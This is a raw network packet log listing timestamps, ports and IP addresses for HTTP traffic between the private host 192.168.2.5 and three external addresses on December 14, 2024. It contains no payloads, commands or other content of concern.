Dec 14, 2024 14:56:32.561779022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.561835051 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.562870979 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.562932014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.563004971 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.564064026 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.564162016 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.564228058 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.565207005 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.565336943 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.565421104 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.566395998 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.566528082 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.566598892 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.567610979 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.567739010 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.567816973 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.568802118 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.568902969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.568969965 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.569966078 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.570076942 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.570261955 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.571125984 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.571213961 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.571780920 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.594224930 CET	80	49896	82.64.156.123	192.168.2.5
Dec 14, 2024 14:56:32.595177889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.595206976 CET	49896	80	192.168.2.5	82.64.156.123
Dec 14, 2024 14:56:32.595242023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.595283985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.595324993 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.595738888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.595778942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.595846891 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.595900059 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.596828938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.596924067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.596939087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.596977949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.598025084 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.598121881 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.598124027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.598162889 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.599061966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.599174976 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.599196911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.599232912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.600183010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.600227118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.600279093 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.600316048 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.601293087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.601337910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.601430893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.601471901 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.602416992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.602483988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.602511883 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.602555990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.603524923 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.603571892 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.603634119 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.603672981 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.604635954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.604713917 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.604744911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.604783058 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.605751038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.605801105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.605866909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.606039047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.606848955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.606894016 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.606911898 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.606961012 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.607991934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.608036995 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.608095884 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.608141899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.609074116 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.609114885 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.609139919 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.609185934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.609891891 CET	49896	80	192.168.2.5	82.64.156.123
Dec 14, 2024 14:56:32.610209942 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.610271931 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.610301971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.610342026 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.611320019 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.611476898 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.611486912 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.611525059 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.612447023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.612484932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.612550020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.612587929 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.613581896 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.613625050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.613686085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.613773108 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.614667892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.614716053 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.614734888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.614805937 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.615792990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.615849018 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.615855932 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.615889072 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.616898060 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.616940022 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.616983891 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.617243052 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.618062973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.618115902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.618231058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.618369102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.619113922 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.619165897 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.619215012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.619251966 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.620244980 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.620341063 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.620345116 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.620382071 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.621344090 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.621390104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.621469021 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.621505976 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.622452021 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.622556925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.622596025 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.623558998 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.623600006 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.623693943 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.623733997 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.624713898 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.624778032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.624952078 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.624999046 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.625852108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.625915051 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.625941038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.625983000 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.626920938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.626961946 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.626988888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.627111912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.632922888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.632970095 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.633003950 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.633039951 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.633394957 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.633440018 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.633661032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.633702993 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.633809090 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.633900881 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.634712934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.634763002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.634803057 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.634874105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.635835886 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.635888100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.635943890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.636101007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.636919022 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.636981964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.637058973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.637130976 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.638063908 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.638117075 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.638149023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.638186932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.639197111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.639273882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.639328957 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.640285015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.640374899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.640398026 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.640436888 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.641423941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.641539097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.641542912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.641571045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.642616987 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.642683983 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.642721891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.643620014 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.643635988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.643675089 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.643691063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.644742012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.644784927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.644810915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.644846916 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.645854950 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.645904064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.645967007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.647005081 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.647021055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.647068977 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.648108959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.648153067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.648257017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.648324013 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.649198055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.649317980 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.649368048 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.650284052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.650331974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.650391102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.650475025 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.651429892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.651482105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.651510954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.651555061 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.652558088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.652595997 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.652764082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.652807951 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.653708935 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.653825998 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.653834105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.653857946 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.654737949 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.654773951 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.654851913 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.654887915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.655960083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.656028032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.656042099 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.656075001 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.656992912 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.657098055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.657109022 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.657135963 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.658061028 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.658103943 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.702137947 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.702219009 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.702411890 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.702572107 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.702655077 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.702903032 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.703785896 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.703874111 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.704921961 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.704967976 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.705055952 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.705290079 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.706147909 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.706257105 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.706336975 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.707365990 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.707473040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.707544088 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.708498955 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.708568096 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.708642960 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.709723949 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.709825039 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.709894896 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.710927963 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.710988045 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.711059093 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.712047100 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.712151051 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.712220907 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.713231087 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.713362932 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.713439941 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.714406967 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.714467049 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.714544058 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.715591908 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.715697050 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.715775967 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.716795921 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.716901064 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.717119932 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.717959881 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.718054056 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.718132019 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.719193935 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.719338894 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.719407082 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.720381975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.720499992 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.720571995 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.721514940 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.721616983 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.721699953 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.722664118 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.722795963 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.723351002 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.724091053 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.724210978 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.724282980 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.725044012 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.725156069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.725308895 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.726227999 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.726365089 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.726428032 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.727396011 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.727531910 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.727600098 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.728615046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.728749990 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.729312897 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.729700089 CET	80	49896	82.64.156.123	192.168.2.5
Dec 14, 2024 14:56:32.729794979 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.729912043 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.729996920 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.730964899 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.731079102 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.731158972 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.732137918 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.732171059 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.732343912 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.733374119 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.733525991 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.733788013 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.734538078 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.734611034 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.734677076 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.735752106 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.735975027 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.736032963 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.736896992 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.736993074 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.737162113 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.738152981 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.738318920 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.738384962 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.739280939 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.739396095 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.739454031 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.740428925 CET	80	49888	185.81.68.147	192.168.2.5
